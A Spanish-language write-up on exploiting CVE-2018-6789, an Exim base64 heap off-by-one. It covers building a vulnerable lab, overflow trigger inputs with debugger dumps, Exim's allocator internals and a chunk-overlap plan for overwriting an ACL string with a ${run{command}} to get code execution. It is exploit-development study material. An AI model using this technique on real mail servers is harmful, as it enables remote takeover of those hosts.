
Exploit para CVE-2018-6789, un desbordamiento de búfer en el montón en la decodificación base64 de Exim, que logra ejecución remota de código mediante la superposición de fragmentos y la manipulación de cadenas ACL.
Instalar dependencias
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
Descargar una versión antigua de exim
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
Luego modificar Local/Makefile Para mayor comodidad, todas las rutas apuntan al directorio actual
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
Esto facilita la depuración Luego compilar e instalar
make install
Modificar ./configure, sobrescribir con el siguiente contenido
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
Primero, analicemos el parche en base64.c:
Donde result es el buffer donde se almacena el resultado de la decodificación base64, obtenido mediante la función store_get.
Se puede observar que el cálculo de size antes del parche es incorrecto. Cuando size está en el rango de 4n~4n+3, el tamaño calculado es igual, pero b64decode, al decodificar parámetros que no son múltiplos de 4, decodifica uno o dos bytes adicionales.
Por ejemplo, si enviamos directamente
auth_md5('Hf'*42)
size=0x40 Distribución de memoria resultante:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Probemos de nuevo
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Se desbordan dos bytes
Para mejorar el rendimiento, Exim implementa su propio mecanismo de gestión de memoria sobre el mecanismo de heap original. Actúa como un búfer intermedio entre el código y glibc, con el objetivo de reducir la cantidad de llamadas malloc y free.
Para Exim, un bloque de heap individual se denomina storeblock. Cada vez que se necesita, se divide en buffers de tamaño adecuado. Si un storeblock se agota, se solicita otro mediante malloc.
Cada storeblock tiene una estructura simple de lista enlazada:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
Las principales API para el uso del heap se encuentran en store.c:
store_get
store_release
store_extend
store_reset
store_get se utiliza para obtener un buffer. El código clave es el siguiente:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162
163 if (!newblock)
164 {
165 pool_malloc += mlength; /* Used in pools */
166 nonpool_malloc -= mlength; /* Exclude from overall total */
167 newblock = store_malloc(mlength);
...
Se puede observar que cada store_block solicitado tiene un tamaño mínimo de STORE_BLOCK_SIZE, es decir, 8192.
Por lo tanto, un store_block de 8192 bytes, más su cabecera y la cabecera del heap, tiene un tamaño total de 0x2020.

En Exim, cada vez que se ejecuta un comando enviado por el cliente, si el comando se ejecuta correctamente, se llama a store_reset para liberar la caché innecesaria y los store_block sobrantes. Aquí, "ejecución correcta" incluye que el formato del comando sea correcto, que el correo no contenga caracteres no válidos, etc. De lo contrario, no se llama a store_reset.
Esta vulnerabilidad es un clásico off-by-one (aunque en realidad puede desbordar dos bytes). Sin embargo, debido a la pequeña cantidad de bytes desbordados, no se pueden sobrescribir directamente estructuras sensibles en el heap. Por lo tanto, es necesario aprovechar algunas características de ptmalloc para amplificar el impacto de esta vulnerabilidad, convirtiéndola en un overflow o overlap de mayor alcance. Para las vulnerabilidades off-by-one, existe un método de explotación clásico: chunk enlarge -> chunk overlap. Se modifica el tamaño del chunk para agrandarlo y luego se falsifica una cabecera de chunk para evadir las comprobaciones de sanidad de glibc, logrando así la superposición de chunks y una cobertura más amplia.
El proceso principal aquí es: chunk enlarge -> chunk overlap -> corromper el puntero next en storeblock, y luego desencadenar store_reset para liberar un chunk arbitrario. Al solicitar este chunk nuevamente, se puede modificar su contenido (type confusion). Meh recomienda en su artículo modificar el bloque de heap donde reside la cadena ACL, ya que en el procesamiento de las cadenas ACL existe una funcionalidad de ejecución de comandos. Las cadenas ACL son muchas, pero la mayoría son NULL (posiblemente relacionado con el archivo de configuración). Aquí elijo la cadena acl_smtp_mail, cuya sintaxis para ejecutar comandos es:
${run{command}}
La distribución aproximada del heap es la siguiente:

El primer bloque de heap es el bloque obtenido de la decodificación base64, utilizado para el off-by-one. Por lo tanto, debe estar al final de un storeblock. Para mayor comodidad, aquí se solicita directamente un bloque de heap mayor a 0x2020 para almacenar el resultado de la decodificación base64. El segundo bloque es sender_helo_name, que se utiliza para sobrescribir el siguiente bloque. sender_helo_name no se almacena en un storeblock, sino que se asigna directamente mediante malloc:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
Por lo tanto, su tamaño es arbitrario. El tercer bloque es otro bloque obtenido de la decodificación base64, utilizado principalmente para falsificar la cabecera y ser sobrescrito. Por lo tanto, debe estar al inicio de un storeblock. Por comodidad, también se solicita un tamaño de 0x2020.